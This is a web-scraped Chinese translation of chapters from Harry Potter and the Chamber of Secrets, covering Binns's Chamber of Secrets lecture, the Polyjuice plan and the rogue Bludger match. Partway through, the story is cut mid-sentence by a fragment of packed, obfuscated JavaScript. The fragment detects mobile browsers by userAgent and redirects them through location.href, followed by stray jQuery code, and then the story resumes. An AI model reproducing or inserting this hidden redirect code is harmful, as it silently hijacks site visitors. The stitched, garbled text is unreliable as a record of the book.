哈利在图书馆后面找到了罗恩,他正在用尺子量他魔法史课的作业。宾斯教授要求学生写一篇三英尺长的“中世纪欧洲巫师大全”的论文。 “我真没法相信,还差八英寸...”罗恩气愤地说,一松手,羊皮纸立刻又卷了起来,“赫敏写了四英尺七英寸,而且她的字写得很小很小。” “她在哪儿?”哈利问道,一边抓过卷尺,摊开他自己的家庭作业。 “就在那儿,”罗恩指着那一排排书架说,“又在找书呢。她大概想在圣诞节之前读完所有的藏书。” 哈利告诉罗恩,刚才贾斯廷·芬列里一看见自己就跑。 “你在乎他做什么,我一直认为他有点呆头呆脑的。”罗恩一边说,一边潦潦草草地写着,尽量把字写得很大。“都是些废话,说洛哈特多么多么伟大——” 赫敏从书架间走了出来。她显得非常恼火,但是终于愿意跟他们说话了。 “几本《霍格沃茨,一段校史》都被人借走了,”她说着,在哈利和罗恩身边坐了下来,“登记要借的人已经排到两星期之后了。唉,真希望我没有把我的那本留在家里,可是箱子里装了洛哈特的那么多厚书,再也塞不下它了。” “你为什么想看它?”哈利问。 “和别人想看它的理由一样,”赫敏说,“查一查关于密室的传说。” “密室是什么?”哈利紧跟着问道。 “问题就在这里,我记不清了,”赫敏咬着嘴唇,说道,“而且我在别处查不到这个故事——” “赫敏,让我看看你的作文吧。”罗恩看了看手表,心急火燎地说。 “不,不行,”赫敏说,突然严肃起来,“你本来有十天时问,完全来得及写完。” “我只差两英寸了,再...” 上课铃响了。罗恩和赫敏一路争吵着,朝魔法史课的课堂走去。 魔法史是他们课程表上最枯燥的课程。在他们的所有老师中,只有教这门课的宾斯教授是一个鬼。在他的课上,最令人兴奋的事情是他穿过黑板进入教室。他年纪非常老了,皮肉皱缩得很厉害,许多人都说他并没有留意自己已经死了。他活着的时候,有一天站起来去上课,不小心把身体留在了教工休息室炉火前的一张扶手椅里。从那以后,他每天的一切活动照旧,没有丝毫变化。 今天,课堂上仍旧和平常一样乏味。宾斯教授打开他的笔记,用干巴巴、低沉单调的声音念着,就像一台老掉牙的吸尘器,最后全班同学都昏昏沉沉的,偶尔回过神来,抄下一个姓名或日期,然后又陷入半睡眠状态。他说了半小时后,发生了一件以前从未发生过的事。赫敏把手举了起来。 宾斯教授正在非常枯燥地讲解一二八九年的国际巫师大会,他抬起头来,显得非常吃惊。“你是——” “我是格兰杰,教授。不知道您能不能告诉我们密室是怎么回事。”赫敏声音清亮地说。迪安刚才一直张着嘴巴,呆呆地望着窗外,这时突然从恍惚状态中清醒过来;拉文德·布朗的脑袋从胳膊里抬了起来,纳威的臂肘从桌上放了下去。 宾斯教授眨了眨眼睛。 “我这门课是魔法史,”他用那干巴巴、气喘吁吁的声音说,“我研究事实,格兰杰小姐,而不是神话和传说。”他清了清嗓子,发出轻轻一声像粉笔折断的声音,继续说道:“就在那年十月,一个由撒丁岛魔法师组成的专门小组——” 他结结巴巴地停了下来。赫敏又把手举在半空中挥动着。 “格兰杰小姐?” “我想请教一下,先生,传说都是有一定的事实基础的,不是吗?”宾斯教授看着她,惊讶极了。哈利相信,宾斯教授不管是活着还是死后,都没有哪个学生这样打断过他。 “好吧,”宾斯教授慢吞吞地说,“是啊,我想,你可以这样说。”他使劲地看着赫敏,就好像他以前从未好好打量过一个学生。“可是,你所说的传说是一个非常耸人听闻,甚至滑稽可笑的故事...” 现在,全班同学都在全神贯注地听着宾斯教授讲的每一个字了。他老眼昏花地看着他们,只见每一张脸都转向了他。哈利看得出来,大家表现出这样不同寻常的浓厚兴趣,实在使宾斯先生太为难了。 “哦,那么好吧,”他慢慢地说,“让我想想...密室...你们大家肯定都知道,霍格沃茨学校是一千多年前创办的——具体日期不太确定——创办者是当时最伟大的四个男女巫师。四个学院就是以他们的名字命名的:戈德里克·格兰芬多,赫尔加·赫奇帕奇,罗伊纳·拉文克劳和萨拉查·斯莱特林。他们共同建造了这座城堡,远离麻瓜们窥视的目光,因为在当时那个年代,老百姓们害怕魔法,巫师遭到很多迫害。” 宾斯教授停顿下来,用模糊不清的视线环顾了一下教室,继续说道,“开头几年,几个创办者一起和谐地工作,四处寻找显露出魔法苗头的年轻人,把他们带到城堡里好好培养。可是,慢慢地,他们之间就有了分歧。斯莱特林和其他人之间的裂痕越来越大。斯莱特林希望霍格沃茨招收学生时更挑剔一些。他认为魔法教育只应局限于纯魔法家庭。他不愿意接收麻瓜生的孩子,认为他们是靠不住的。过了一些日子,斯莱特林和格兰芬多因为这个问题发生了一场激烈的争吵,然后斯莱特林便离开了学校。” 宾斯教授又停顿了一下,噘起嘴唇,活像一只皱巴巴的老乌龟。 “可靠的历史资料就告诉我们这些,”他说,“但是,这些纯粹的事实却被关于密室的古怪传说掩盖了。那个故事说,斯莱特林在城堡里建了一个秘密的房间,其他创办者对此一无所知。 “根据这个传说的说法,斯莱特林封闭了密室,这样便没有人能够打开它,直到他真正的继承人来到学校。只有那个继承人能够开启密室,把里面的恐怖东西放出来,让它净化学校,清除所有不配学习魔法的人。” 故事讲完了,全班一片寂静,但不是平常宾斯教授课堂上的那种睡意昏沉的寂静。每个人都继续盯着他,希望他再讲下去,气氛令人不安,宾斯教授显得微微有些恼火。 “当然啦,整个这件事都是一派胡言,”他说,“学校里自然调查过到底有没有这样一间密室,调查了许多次,请的都是最有学问的巫师。密室不存在。这只是一个故事,专门吓唬头脑简单的人。” 赫敏的手又举在半空中了。“先生——您刚才说密室‘里面的恐怖东西’,指的是什么?” “人们认为是某种怪兽,只有斯莱特林的继承人才能控制。”宾斯教授用他干涩的、细弱的声音说。 同学们交换了一下紧张的目光。“告诉你们,那东西本不存在。”宾斯教授笨手笨脚地整理着笔记,说道,“没有密室,也没有怪兽。” “可是,先生,”西莫·斐尼甘说,“这密室既然只有斯莱特林的真正继承人才能打开,别人可能就根本发现不了,是不是?” “胡说八道,奥弗莱,”宾斯教授用恼火的腔调说,“既然这么多的历届男女校长都没有发现那东西——” “可是,教授,”帕尔提·佩蒂尔尖声说话了,“大概必须用黑魔法才能打开它——” “一个巫师没有使用黑魔法,并不意味着他不会使用,彭妮·费瑟小姐。”宾斯教授厉声地说,“我再重复一遍,既然邓布利多那样的人——” “说不定,必须和斯莱特林有关系的人才能打开,所以邓布利多不能——”迪安·托马斯还没说完,宾斯先生就不耐烦了。 “够了,”他严厉地说,“这是一个神话!根本不存在!没有丝毫证据说明斯莱特林曾经建过这样一个秘密扫帚棚之类的东西。我真后悔告诉了你们这个荒唐的故事!如果你们愿意的话,让我们再回到历史,回到实实在在的、可信、可靠的事实上来吧!” 不出五分钟,同学们又陷入了那种昏昏沉沉的睡意中。 “我早就知道萨拉查·斯莱特林是个变态的老疯子。”罗恩对哈利和赫敏说,“但我不知道是他想出了这套纯血统的鬼话。即使自给我钱,我也不进他的学院。说句实话,如果当初分院帽把我放进斯莱特林,我二话不说,直接就乘火车回家...”这时已经下课了,他们正费力地穿过拥挤的走廊,准备把书包放下去吃午饭。 赫敏很热切地点头,可是哈利什么也没说。他的心突然很别扭地往下一沉。 哈利一直没有告诉罗恩和赫敏,当初分院帽曾非常认真地考虑要把他放在斯莱特林。他清楚地记得一年前他把帽子戴到头上时,那个在他耳边说话的小声音,这一切就像发生在昨天一样。 “你会非常成功的,你知道吗,都在你脑袋里藏着呢,斯莱特林会帮助你获得成功,这是毫无疑问的...” 但是,哈利事先已经听说斯莱特林学院是培养黑巫师的,名声不好,所以他.不顾一切地在脑子里说:“不要去斯莱特林!”于是那帽子说:“哦,好吧,既然你这么确定...那就不妨去格兰芬多...” 三个人被拥过来的人群挤到了一边,这时,科林·克里维从他们身边走过。“你好,哈利!” “你好,科林。”哈利随口答道。 “哈利——哈利——我们班上的一个男生最近一直说你是——” 然而科林的个头太小了,挡不住把他推向礼堂的人流。他们只听见他尖声叫了一句:“再见,哈利!”就消失得无影无踪。 “他班上的那个男生说你什么呢?”赫敏不解地问。 “我想,大概说我是斯莱特林的继承人吧。”哈利说,他的心又往下沉了一点儿,因为他突然想起吃午饭时贾斯廷·芬列里匆忙逃避他的样子。 “这里的人什么都相信。”罗恩厌恶地说。人群渐渐稀疏了,他们终于能够毫不费力地登上楼梯。 “你真的认为有密室吗?”罗恩问赫敏。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338711|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我不知道,”她说着,皱起了眉头,“邓布利多治不好洛丽丝夫人,这使我想到,攻击它的那个家伙恐怕不是——哦——不是人类。” 她说话的时候,他们拐过一个墙角,发现来到了发生攻击事件的那遭走廊的顶端。眼前的场景和那天夜里一样,不过那只被石化的猫不再挂在火把的支架上了,而且在写着“密室被打开了”的文字的那面墙上,靠着一把空椅子。 “费尔奇一直在这里站岗。”罗恩小声说。他们互相交换了一下眼色。走廊里没有人。 “我们不妨找找看。”哈利说着,扔掉书包,四肢着地,在地上爬行着寻找线索。“烧焦的痕迹!”他说,“这里——还有这里——” “快过来看看这个!”赫敏说,“真有趣...” 哈利爬起身,走向墙上那些文字旁边的窗户。赫敏指着最上面的那块玻璃,那里大约有二十只蜘蛛在慌慌张张地爬行,似乎急于从玻璃上的一道小缝中钻出去。一根长长的银丝像绳索一样挂下来,看样子它们就是通过这根丝匆匆爬上来,逃向窗外的。 “你看见过蜘蛛这种样子吗?”赫敏纳闷地问。 “没有,”哈利说,“你呢,罗恩?罗恩?” 他扭过头来。罗恩远远地站在后面,似乎正强忍住想逃走的冲动。“怎么啦?”哈利问。 “我——不喜——不喜欢——蜘蛛。”罗恩紧张地说。 “这我倒没听说过,”赫敏说,惊讶地看着罗恩,“你在魔药课上那么多次使用蜘蛛...” “死蜘蛛我不在乎,”罗恩说,小心地将目光避开那扇窗户,“我只是不喜欢它们爬动的样子。” 赫敏咯咯地笑了。 “有什么好笑的,”罗恩恼怒地说,“你要知道,我三岁的时候,弗雷德因为我弄坏了他的玩具扫帚,就把我的——我的玩具熊变成了一只丑陋的大蜘蛛。如果你有过我那样的经历,也不会喜欢它们的,如果你正抱着你的玩具熊,突然它冒出许多条腿来,而且...” 他打了个冷战,说不下去了。赫敏显然还在忍着笑。哈利觉得他们最好别谈这个话题了,就说,“还记得当时地上的那摊水吗?是从哪儿来的?有人拖过地板。” “大概就在这里,”罗恩说,渐渐缓过劲来,几步走过费尔奇的椅子,指给他们看,“和这扇门平行。”他伸手去抓黄铜球形把手,却突然缩回手来,好像被火烫了一下似的。 “怎么回事?”哈利问。“不能进去,”罗恩很不高兴地说,“是女生盥洗室。” “哦,罗恩,里面不会有人的。”赫敏说。她站直身子,走了过来,“这是哭泣的桃金娘的地盘。来吧,我们进去看看。”她没有理睬那个写着“故障”字样的大招牌,推开了门。 这是哈利到过的最阴暗、最沉闷的地方。在一面污渍斑驳的、裂了缝的大镜子下面,是一排表面已经剥落的、石砌的水池。地板上湿漉漉的,几根蜡烛头低低地在托架上燃烧着,发出昏暗的光,照得地板阴森森的。一个个单间的木门油漆剥落,布满划痕;有一扇门的铰链脱开了,摇摇晃晃地悬挂在那里。 赫敏用手捂着嘴,朝最里面的那个单间走去。到了门口,她说:“喂,桃金娘。你好吗?” 哈利和罗恩也跟过去看。哭泣的桃金娘正在抽水马桶的水箱里飘浮着,揪着下巴上的一处地方。 “这是女生盥洗室,”她说,用怀疑的目光打量着罗恩和哈利,“他们不是女生。” “是的,”赫敏表示赞同,“我想带他们来看看,这里——这里——是多么漂亮。” 她朝肮脏的旧镜子和潮湿的地板含糊地挥了挥手。 “问她有没有看见什么。”哈利压低声音对赫敏说。 “你们在小声嘀咕什么?”桃金娘瞪着他们,问道。 “没什么,”哈利赶紧说,“我们想问问你——” “我希望人们不要在背后议论我!”桃金娘带着哭腔说,“我也是有感情的,你们知道,尽管我已经死了。” “桃金娘,没有人想使你难过,”赫敏说,“哈利只是——” “没有人想使我难过!这真是一个大笑话!”桃金娘哭叫着说,“我在这里的生活没有欢乐,只有悲伤,现在我死了,人们还不放过我!” “我们只想问问你,最近有没有看见什么有趣的事情,”赫敏赶紧说道,“因为万圣节那天,有一只猫就在你的大门外遭到了袭击。” “那天夜里,你在附近看见什么人没有?”哈利问。 “我没有注意,”桃金娘情绪夸张地说,“皮皮鬼那么厉害地折磨我,我跑到这里来想自杀。后来,当然啦,我想起来我已经——我已经——” “已经死了。”罗恩帮她把话说完。桃金娘悲痛地啜泣一声,升到空中,转了个身,头朝下栽进了抽水马桶,把水花溅到他们身上,然后就不见了。从她沉闷的抽泣声听来,她躲在了马桶圈里的什么地方。 哈利和罗恩目瞪口呆地站着,赫敏却懒洋洋地耸了耸肩膀,说:“说实在的,这在桃金娘来说算是愉快的了...来,我们走吧。”哈利刚刚关上门,掩住桃金娘汩汩的哭泣声,突然一个人的说话声,把他们三个吓得跳了起来。 “罗恩!”珀西·韦斯莱在楼梯口停住脚步,级长的徽章在他胸前闪闪发亮,他的脸上挂着一种极度惊讶的表情。 “那是女生盥洗室呀!”他喘着气说,“你们怎么——” “只是随便看看,”罗恩耸了耸肩,“寻找线索,你知道...”珀西端起了架子,那模样一下子就使哈利想到了韦斯莱夫人。 “赶——快——离——开——”他说着,朝他们走来,并且张开臂膀,催促他们快走。“这成什么样子,你们不在乎吗?别人都在吃饭,你们却跑到这儿来...” “为什么我们不能来这儿?”罗恩气呼呼地说,猛地停下脚步,瞪着珀西,“听着,我们没有对那只猫动一根手指!” “我对金妮也是这么说的,”珀西也毫不示弱,“但她似乎仍然认为你会被开除的。我从没见过她这么难过,整天痛哭流涕。你应该为她想想,一年级学生都被这件事弄得心神不宁——” “你根本不关心金妮,”罗恩说,他的耳朵正在变红,“你只是担心我会破坏你当男生学生会主席的前途。” “格兰芬多扣掉五分!”珀西用手指拨弄着级长的徽章,生硬地说,“我希望这能给你一个教训!不要再搞什么侦探活动了,不然我写信告诉妈妈!”他迈着大步走开了,他脖子后面跟罗恩的耳朵一样红。 那天晚上在公共休息室里,哈利、罗恩和赫敏尽量坐得远离珀西。罗恩的情绪仍然很糟糕,在做魔法课作业时,他总是把墨水洒在纸上。当他心不在焉地拿出魔仗,想清除那些污点时,不料却把羊皮纸点着了。罗恩气得心里也蹿起了火苗,啪地合上了《标准咒语,二级》。令哈利吃惊的是,赫敏也用力把书合上了。 “可是,这会是谁呢?”她小声地说,似乎在继续他们刚才的对话,“谁希望把哑炮和麻瓜出身的人都赶出霍格沃茨呢?” “我们来考虑一下,”罗恩装出一副感到费解的样子,说道,“据我们所知,谁认为麻瓜出身的人都是垃圾、废物呢?” 他看着赫敏,赫敏也看着他,脸上是将信将疑的神情。 “如果你说的是马尔福——” “当然是他!”罗恩说,“你听见他说的:‘下一个就是你们,泥巴种!’其实,你只要看看他那张丑陋的老鼠脸,就知道是他——” “马尔福是斯莱特林的继承人?”赫敏怀疑地说。 “看看他们那家人吧,”哈利也合上了书,“他们全家都在斯莱特林,他经常拿这个向人炫耀。他们很可能是斯莱特林的后代。他父亲就够邪恶的。” “他们也许拿着密室的钥匙,拿了好几个世纪!”罗恩说,“一代代往下传,父亲传给儿子...” “是啊,”赫敏谨慎地说,“我认为这是可能的...” “我们怎么证明呢?”哈利悲观地说。 “也许有一个办法,”赫敏慢慢地说,匆匆扫了一眼房间那头的珀西,把声音放得更低了,“当然啦,做起来不太容易,而且危险,非常危险。我们大概要违犯五十条校规。” “再过一个月左右,如果你愿意对我们说了,才会告诉我们,是吗?”罗恩不耐烦地说。 “好吧,现在告诉你们也无妨。”赫敏冷静地说,“我们需要做的事情就是进入斯莱特林的公共休息室,向马尔福问几个问题,同时不让他认出我们。” “这是不可能的。”哈利说,罗恩笑出了声。 “不,有可能,”赫敏说,“我们只需要一些复方汤剂。” “那是什么东西?”罗恩和哈利异口同声地问。 “几个星期前,斯内普在课堂上提到过——” “在魔药课上,你除了听斯内普讲课,就没有别的更有趣的事情可做吗?”罗恩嘟囔着。 “这种汤剂能把你变成另外一个人。想想吧!我们可以变成三个斯莱特林的学生。谁也不会知道是我们。马尔福可能会把一切都告诉我们的。眼下他大概就在斯莱特林的公共休息室里吹牛呢,只可惜我们听不见。” “我觉得这种复方什么的东西有点儿悬,”罗恩说着,皱起了眉头,“如果我们变成了三个斯莱特林,永远变不回来了怎么办?” “药效过一阵就会消失的,”赫敏不耐烦地挥了挥手,说道,“可是很难弄到配方。斯内普说在一本名叫《强力药剂》的书里,它肯定在图书馆的禁书区内。” 要从禁书区内借书,只有一个办法:弄到一位老师亲笔签名的批条。“我们没有理由要借那本书,”罗恩说,“因为我们都不会去调制那些药剂。” “我认为,”赫敏说,“如果我们假装说对这套理论感兴趣,也许会有点希望...” “哦,得了,老师们不会这样轻易上当的,”罗恩说,“除非他们笨到了极点...” 29. 失控的游走球 自从发生了那次小精灵的灾难事件后,洛哈特教授就再也不把活物带进课堂了。现在,他把他写的书大段大段地念给学生们昕,有时候还把一些富有戏剧性的片断表演出来。他一般选择哈利协助他重现当时的场景。到目前为止,哈利被迫扮演的角色有:一个被施了吐泡泡魔咒、经洛哈特治愈的纯朴的特兰西瓦尼亚村民,一个患了鼻伤风的喜马拉雅山雪人,还有一个吸血鬼,自从洛哈特跟它打过交道后,它就不吃别的,只吃萝卜了。 这一节黑魔法防御术课,哈利又被拖到前面去了,这次是扮演一个狼人。哈利本来是不想合作的,但是有一个很重要的原因,必须让洛哈特保持心情愉快。 “叫得好,哈利——太像了——然后,信不信由你,我猛扑过去——就像这样——砰的把他摔倒——这样——我用一只手把他摁在地上——另一只手拿着魔杖,抵住他的喉咙——然后我缓了缓劲,用剩下来的力气施了非常复杂的人形魔咒——他发出一声凄惨的呻吟——哈利,接着叫唤——还要高一些——很好——他身上的毛消失了——大尖牙缩回去了——他重新变成了一个人。简单而有效——又有一个村子会永远记住我这位英雄,我使他们摆脱了每月一次受狼人袭击的恐慌。” 下课铃响了,洛哈特站了起来。 “家庭作业:就我战胜沃加沃加的事迹写一首诗!写得最好的将得到几本有作者亲笔签名的《会魔法的我》!” 同学们开始离开。哈利回到教室后排,罗恩和赫敏正在那里等着。 “可以了吗?”哈利小声问。 “等大家都走了再说,”赫敏说,“行了...” 她朝洛哈特的讲台走去,手里紧紧地攥着一张纸条,哈利和罗恩跟在她身后。 “哦——洛哈特教授?”赫敏结结巴巴地说,“我想——想从图书馆借这本书。希望从里面了解一些背景知识。”她举起那张纸条,她的手微微有些颤抖。“可问题是,这本书在图书馆的禁书区内,所以我需要一位老师在纸条上签字——我相信,这本书会帮助我理解你在《与食尸鬼同游》里讲到的慢性发作的毒液...” “啊,《与食尸鬼同游》!”洛哈特把纸条从赫敏手里接过去,一边对她露出很热情的笑容。“这大概算我最满意的一本书了。你喜欢吗?” “哦,喜欢,”赫敏热切地说,“你用滤茶器逮住了最后那个食尸鬼,真是太机智了...” “啊,我相信,谁也不会反对我给全年级最优秀的学生一点儿额外的帮助。”洛哈特热情地说,抽出一支巨大的孔雀毛笔。“是啊,很漂亮,不是吗?”他误解了罗恩脸上厌恶的表情,“我一般只用它在书上签名。” 他在纸条上龙飞凤舞地签上一个大大的、花体的名字,又把纸条还给赫敏。 “这么说,哈利,”当赫敏笨手笨脚地折起纸条,放进她的书包里时,洛哈特说道,“明天就是本赛季的第一场魁地奇比赛了吧?格兰芬多队对斯莱特林队,是吗?听说你是个很出色的球员。我当年也是找球手。他们要我竞选国家队,但我情愿把我毕生的精力用于消灭黑势力。不过,如果你觉得需要开开小灶,尽管来找我。我总是乐意把我的经验传授给能力还不太强的球员...” 哈利在喉咙里含混地咕哝一声,便匆匆跟着罗恩和赫敏离开了。“我真不敢相信,”他们三个仔细研究纸条上的签名时,哈利说。“他根本没看我们想要的是什么书。” “因为他是个没有脑子的蠢货。”罗恩说,“管他呢,反正我们想要的东西已经弄到手了。” “他不是没有脑子的蠢货。”他们小跑着向图书馆去时,赫敏尖声说道。 “就因为他说你是全年级最优秀的学生...” 走进了沉闷安静的图书馆,他们不由得放低了声音。 图书管理员平斯夫人是个脾气暴躁的瘦女人,活像一只营养不良的兀鹫。 “《强力药剂》?”她怀疑地念了一遍,想从赫敏手里把纸条拿过去;但是赫敏不肯放手。 “不知道我能不能留着。”赫敏喘不过气米地说。 “哦,给她吧,”罗恩说着,从她紧攥着的手里一把夺过纸条,塞给平斯夫人,“我们还会给你再弄到一个亲笔签名的。只要是能保持一段时间不动的东西,洛哈特都会在上面签名的。” 平斯夫人举起纸条,对着光线照了照,好像在检验是不是伪造的,结果它顺利通过了检验。她昂首阔步地从高高书架之间走过去,几分钟后就回来了。手里拿着一本好像发霉了的大厚书。赫敏小心地把它放进书包,并注意不要走得太快,显出心里有鬼的样子。 五分钟后,他们又一次躲在了哭泣的桃金娘失修的盥洗室里。赫敏驳回了罗恩的反对意见,指出只要头脑正常的人,都不会愿意到这里来,这样他们三个就保证不会被人发现了。哭泣的桃金娘在她的单间里放声大哭,他们不理她,她也不理他们。 赫敏小心翼翼地打开《强力药剂》,三个人都凑上前,看着那些布满水印的纸页。他们一眼就看出这本书为什么属于禁书区了。里面的有些药剂的效果可怕极了,简直令人不敢想象,书里还有一些让人看了感到很不舒服的插图:一个人似乎被从里到外翻了出来,还有一个巫婆脑袋上冒出了许多双手臂。 “在这里。”赫敏激动地说,她找到了标着复方汤剂的那一页。上面着几个人正在变成另外的人。哈利真诚地希望,那些人脸上极度痛苦的神情是画家凭空想象出来的。 “这是我见过的最复杂的药剂。”他们浏览配方时,赫敏说。“草蛉虫,蚂蟥,流液草和两耳草,”她喃喃地念着,用手指一条条指着配料单,“这些都很容易弄到,学生的储藏柜里就有,我们可以自己去取。哎哟,瞧,还有研成粉末的双角兽的角——不知道上哪儿去找...一条非洲树蛇的蛇皮碎片——那也很难弄到——当然啦,还要我们想变的那个人身上的一点儿东西。” “对不起,”罗恩尖锐地说,“你这是什么意思,什么叫我们想变的那个人身上的一点儿东西?如果有克拉布的脚趾甲在里面,我是决不喝的...” 赫敏好像没有听见他的话,继续说道:“我们现在还不用操这个心,那点儿东西最后才放进去呢..”罗恩哑口无言地转向哈利,而哈利又产生了另一个疑虑。 “你知不知道我们到底要偷多少东西,赫敏?非洲树蛇的蛇皮碎片,那是学生储藏柜里绝对没有的。我们怎么办,闯进斯内普的私人仓库?我不知道这是不是一个主意...” 赫敏啪的一声把书合上。“好吧,如果你们害怕了,想临阵脱逃,那也没什么。”她说。她的面颊上泛起两团鲜艳的红晕。眼睛比平日更加明亮。“你们知道,我是不想违犯校规的。我认为,威胁麻瓜出身的人比调制一种复杂的药剂恶劣得多。不过,如果你们不想弄清那是不是马尔福干的,我现在就去找平斯夫人,把书还给她...” “我从来没有想到,有一天居然会看到你劝说我们违犯校规。”罗恩说。“好吧,说干就干。可是千万不要脚趾甲,好吗?” “这药水到底需要多长时间才能调制好?”哈利问,这时赫敏情绪有所好转,又把书打开了。 “是这样,流液草要在满月的那天采,草蛉虫要熬二十天...我想,如果配料都能弄到的话,有一个月就差不多了。” “一个月?”罗恩说,“等到那时,马尔福可能把学校里一半的麻瓜都打倒了!”只见赫敏的眼睛眯了起来,眼看又要发火了,罗恩赶紧加了一句:“不过这是我们能想到的最好方案了,我们就加紧行动吧。” 可是,当他们准备离开盥洗室,赫敏去看看四下有没有人时,罗恩悄悄地对哈利说:“如果你明天把马尔福从他的扫帚上撞下来,就能省去好多麻烦。” 星期六早晨,哈利很早就醒来了,又在床上躺了一会儿,想着即将到来的魁地奇比赛。他有些紧张,主要是想到如果格兰芬多队输了,伍德会说什么,同时他也想到,他们要面对的球队是骑着金钱能买到的速度最快的扫帚。他从来没有像现在这样渴望打败斯莱特林队。他内心翻滚起伏,睁着眼睛躺了半个小时,然后起床穿好衣服,下楼提早吃早饭。到了礼堂,他发现格兰芬多队的其他队员都挤坐在空荡荡的长餐桌旁,一个个显得紧张不安,沉默寡言。 十一点钟渐渐临近了,全校师生开始前往魁地奇运动场。这是一个闷热潮湿的天气,空中隐隐响着雷声。哈利走进更衣室时,罗恩和赫敏匆匆过来祝他好运。队员们穿上鲜红色的格兰芬多队服,然后坐下来听伍德按照惯例给他们作赛前鼓舞士气的讲话。 “斯莱特林队的扫帚比我们好,”伍德说道,“这是不可否认的。但是我们扫帚上的人比他们强。我们训练得比他们刻苦,在各种天气环境中都飞行过——” (“说得太对了,”乔治·韦斯莱说,“从八月份起,我的衣服就没干过。”)“——我们要叫他们后悔让那个小恶棍马尔福花钱混进他们队里。” 伍德激动得胸脯起伏,他转向哈利。 “就看你的了,哈利,要使他们看到,作为一名找球手,单靠一个有钱的爸爸是不够的。要么赶在马尔福之前抓住金色飞贼,要么死在赛场上,哈利,因为我们今天必须取胜,我们必须取胜。” “所以别有压力,哈利。”弗雷德冲他眨眨眼睛,说道。 他们出来走向赛场时,迎接他们的是一片喧闹的声音。主要是欢呼喝彩,因为拉文克劳和赫奇帕奇都希望看到斯莱特林被打败,但同时也能听见人群里斯莱特林们的嘘声和喝倒彩的声音。魁地奇裁判霍琦夫人请弗林特和伍德握了握手,他们用威胁的目光互相瞪视着,并且不必要地把对方的手攥得很紧很紧。 “听我的哨声,”霍琦夫人说,“三——二——一——” 人群中喧声鼎沸,欢送他们起飞,十四名队员一起蹿上铅灰色的天空。哈利飞得比所有队员都高,眯着眼睛环顾四周,寻找金色飞贼。 “你没事吧,疤头?”马尔福喊道,他箭一般地在哈利下面穿梭,似乎在炫耀他扫帚的速度。 哈利没有时间回答。就在这时,一只沉重的黑色游走球突然朝他飞来;他以毫厘之差勉强躲过,感觉到球飞过时拂动了他的头发。 “真悬,哈利!”乔治说,他手里拿着击球棒,从哈利身边疾驰而过,准备把游走球击向斯莱特林队员。哈利看见乔治狠狠地把游走球击向德里安·普西,没想到游走球中途改变方向,又径直朝哈利飞来。 哈利赶紧下降躲避,乔治又把它重重地击向马尔福。然而,游走球像回转飞镖一样,再次掉转身来,直取哈利的脑袋。 哈利突然加速,嗖嗖地飞向赛场的另一端。他可以听见游走球在后面呼啸着追赶他。这是怎么回事?弗雷德·韦斯莱正在另一端等着游走球。哈利猛一低头,弗雷德用尽全身的力气对游走球猛击一棒;游走球被击到了一边。 “这下好了!”弗雷德高兴地喊道。然而他错了,那只游走球好像被磁力吸引在哈利周围一样,又一次追着他飞来,哈利只好拼命加快速度逃走。 天开始下雨了;哈利感到大滴大滴的雨水打到他脸上,溅在他的眼镜上。他完全不了解赛场上的其他情况,直到听见解说员李·乔丹说:“斯莱特林队领先,六十比零。” 显然,斯莱特林队的超级扫帚发挥了作用,同时那只疯狂的游走球竭尽全力要把哈利从空中撞下来。弗雷德和乔治现在紧贴着哈利左右飞行,这使哈利只能看见他们连续击打的手臂,根本没有希望寻找金色飞贼,更别说抓住它了。 “有人对——这只——游走球——做了手脚——”弗雷德嘟囔着,一边用力把又向哈利发起新一轮进攻的游走球击飞。 “我们需要暂停。”乔治说,一边向伍德示意,一边还要阻止游走球撞断哈利的鼻子。 伍德显然捕捉到了他的信号。霍琦夫人的哨声响了,哈利、弗雷德和乔治降落到地面,一边仍然闪避着那只发了疯的游走球。 “怎么回事?”伍德问道,这时格兰芬多队的队员已聚拢在一起,人群中的斯莱特林队员们发出阵阵嘲笑。“我们被打败了。弗雷德,乔治,那只游走球阻止安吉利娜得分时,你们上哪儿去了?” “我们在她上面二十英尺的地方,阻止另一只游走球害死哈利,伍德。”乔治气呼呼地说,“有人摆弄过那只球—— 它不肯放过哈利,整个比赛过程中,它根本不去追别人。斯莱特林队一定对它做了手脚。” “可是自从我们上次练习之后,游走球就一直锁在霍琦夫人的办公室里,那时候它们还都好好的...”伍德焦急地说。 霍琦夫人正向他们走来。哈利的目光越过她的肩头,可以看见斯莱特林队的队员们讥笑着对他指指点点。 “听着。”哈利说,霍琦夫人越走越近了。“你们俩一刻不停地围着我飞来飞去,我根本没有希望抓住金色飞贼,除非它自己钻到我的袖子里来。”哈利说,“你们还是回到其他队员身边,让我自己去对付那只撒野的球吧。” “别犯傻了,”弗雷德说,“它会把你的脑袋撞掉的。” 伍德看看哈利,又看看韦斯莱孪生兄弟。 “奥利弗,这是不理智的,”艾丽娅·斯平内特生气地说,“你不能让哈利一个人对付那东西。我们请求调查吧——” “如果我们现在停止,就会被剥夺比赛资格!”哈利说,“我们不能因为一只失控的游走球而输给斯莱特林队!快点,奥利弗,叫他们别再管我了!” “这都怪你,”乔治气愤地对伍德说,“‘要么抓住金色飞贼,要么死在赛场上。’——你真昏了头了,对他说这种话!”霍琦夫人来到他们中问。 “可以继续比赛了吗?”她问伍德。 伍德看着哈利脸上坚决的神情。 “好吧,”他说,“弗雷德、乔治,你们都听见哈利的话了——别去管他,让他自己对付那只游走球。” 现在雨下得更大了。霍琦夫人哨声一响,哈利双脚一蹬,飞上天空,他听见脑后嗖嗖直响,知道那只游走球又追来了。哈利越升越高,忽而拐弯,忽而旋转,忽而急转直下,忽而盘旋而上,忽而又东绕西绕,走一条“之”字形路线。 他微微有些眩晕,但仍然把眼睛睁得大大的。雨点噼噼啪啪地打在他的眼镜上,当他为了躲避游走球的又一次凶猛的进攻、头朝下悬挂着时,雨水流进了他的鼻孔。他听见人群里传出一阵大笑,他知道自己的样子肯定很愚蠢,但是那只撒野的游走球很笨重,不能像他这样敏捷地改变方向。 